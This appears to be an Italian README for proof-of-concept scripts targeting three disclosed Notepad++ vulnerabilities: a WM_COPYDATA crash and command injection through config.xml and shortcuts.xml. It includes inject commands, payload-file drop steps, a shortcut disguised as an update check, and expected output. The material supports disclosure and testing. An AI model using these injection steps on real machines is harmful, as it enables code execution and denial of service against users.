
Script di prova di concetto per tre vulnerabilità in Notepad++ <= 8.9.6, corrette nella v8.9.6.1 (2026-05-26) CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800
Script proof-of-concept per tre vulnerabilità in Notepad++ <= 8.9.6, corrette nella v8.9.6.1 (2026-05-26).

| CVE | Tipo | CVSS | Impatto |
|---|---|---|---|
| CVE-2026-48770 | Lettura OOB tramite WM_COPYDATA | 5.0 | DoS / Crash |
| CVE-2026-48778 | Iniezione di comandi OS tramite config.xml | 7.8 | RCE |
| CVE-2026-48800 | Iniezione di comandi OS tramite shortcuts.xml | 7.8 | RCE |
.py).ps1).
├── README.md
├── poc_CVE-2026-48770.py # OOB read crash (ctypes)
├── poc_CVE-2026-48778.py # RCE via config.xml
├── poc_CVE-2026-48800.py # RCE via shortcuts.xml
└── payloads/
├── config.xml # Drop-in payload (CVE-2026-48778)
├── shortcuts.xml # Drop-in payload (CVE-2026-48800)
└── poc_CVE-2026-48770.ps1 # OOB read crash (PowerShell)
Un processo locale nella stessa sessione di Windows invia un messaggio WM_COPYDATA alterato (dwData=3) senza terminatore NUL. Il gestore legge oltre il limite del buffer, producendo una violazione di accesso (0xc0000005) che causa il crash di Notepad++.
Attivazione: Notepad++ deve essere aperto.
PowerShell:
# From payloads\
powershell -ExecutionPolicy Bypass -File poc_CVE-2026-48770.ps1
Python:
python poc_CVE-2026-48770.py
Output previsto:
[+] Found Notepad++ HWND: 0x000A08B4
[*] Sending malformed WM_COPYDATA (dwData=3, cbData=8192, no NUL terminator)...
[+] SendMessageTimeout returned 0 - Notepad++ likely crashed (OOB read -> 0xc0000005)
La finestra di Notepad++ scompare. Potrebbe attivarsi WER (Segnalazione errori Windows).
%APPDATA%\Notepad++\config.xml viene letto all'avvio. Il valore di <GUIConfig name="commandLineInterpreter"> viene passato direttamente a ShellExecute() senza convalida. Sostituendolo con qualsiasi eseguibile si ottiene RCE quando l'utente fa clic su File → Apri cartella contenitore → cmd.
# Inject (backs up original automatically)
python poc_CVE-2026-48778.py --mode direct --payload calc.exe
# Trigger: open Notepad++ -> File -> Open Containing Folder -> cmd
# calc.exe launches instead of cmd.exe
# Restore
python poc_CVE-2026-48778.py --mode direct --restore
copy payloads\config.xml %APPDATA%\Notepad++\config.xml
# Aprire Notepad++ -> File -> Apri cartella contenitore -> cmd
python poc_CVE-2026-48778.py --mode settingsdir --payload calc.exe
# Stampa il comando di avvio notepad++.exe -settingsDir=
# Attivazione: File -> Apri cartella contenitore -> cmd
%APPDATA%\Notepad++\shortcuts.xml viene letto all'avvio. Le voci <Command> all'interno di <UserDefinedCommands> vengono aggiunte al menu Esegui e passate direttamente a ShellExecute() senza convalida. Una voce controllata dall'attaccante viene eseguita al clic.
# Inject (backs up original automatically)
python poc_CVE-2026-48800.py --mode direct --payload calc.exe --name "Controllo aggiornamenti di sistema"
# Trigger: close and reopen Notepad++ -> Run menu -> "Controllo aggiornamenti di sistema"
# calc.exe launches
# Restore
python poc_CVE-2026-48800.py --mode direct --restore
copy payloads\shortcuts.xml %APPDATA%\Notepad++\shortcuts.xml
# Riavviare Notepad++ -> Menu Esegui -> "Controllo aggiornamenti di sistema"
python poc_CVE-2026-48800.py --mode settingsdir --payload calc.exe
# Stampa il comando di avvio notepad++.exe -settingsDir=
# Attivazione: Menu Esegui -> "Controllo aggiornamenti di sistema"
Aggiornare Notepad++ alla v8.9.6.1 o successiva.
Download: https://notepad-plus-plus.org/downloads/
| CVE | Avviso |
|---|---|
| CVE-2026-48770 | GHSA-r39g-3mcw-xcg2 |
| CVE-2026-48778 | GHSA-7hm3-wp5q-ccv9 |
| CVE-2026-48800 | GHSA-3x3f-3j39-pj3v |
Solo per scopi di ricerca e test autorizzati.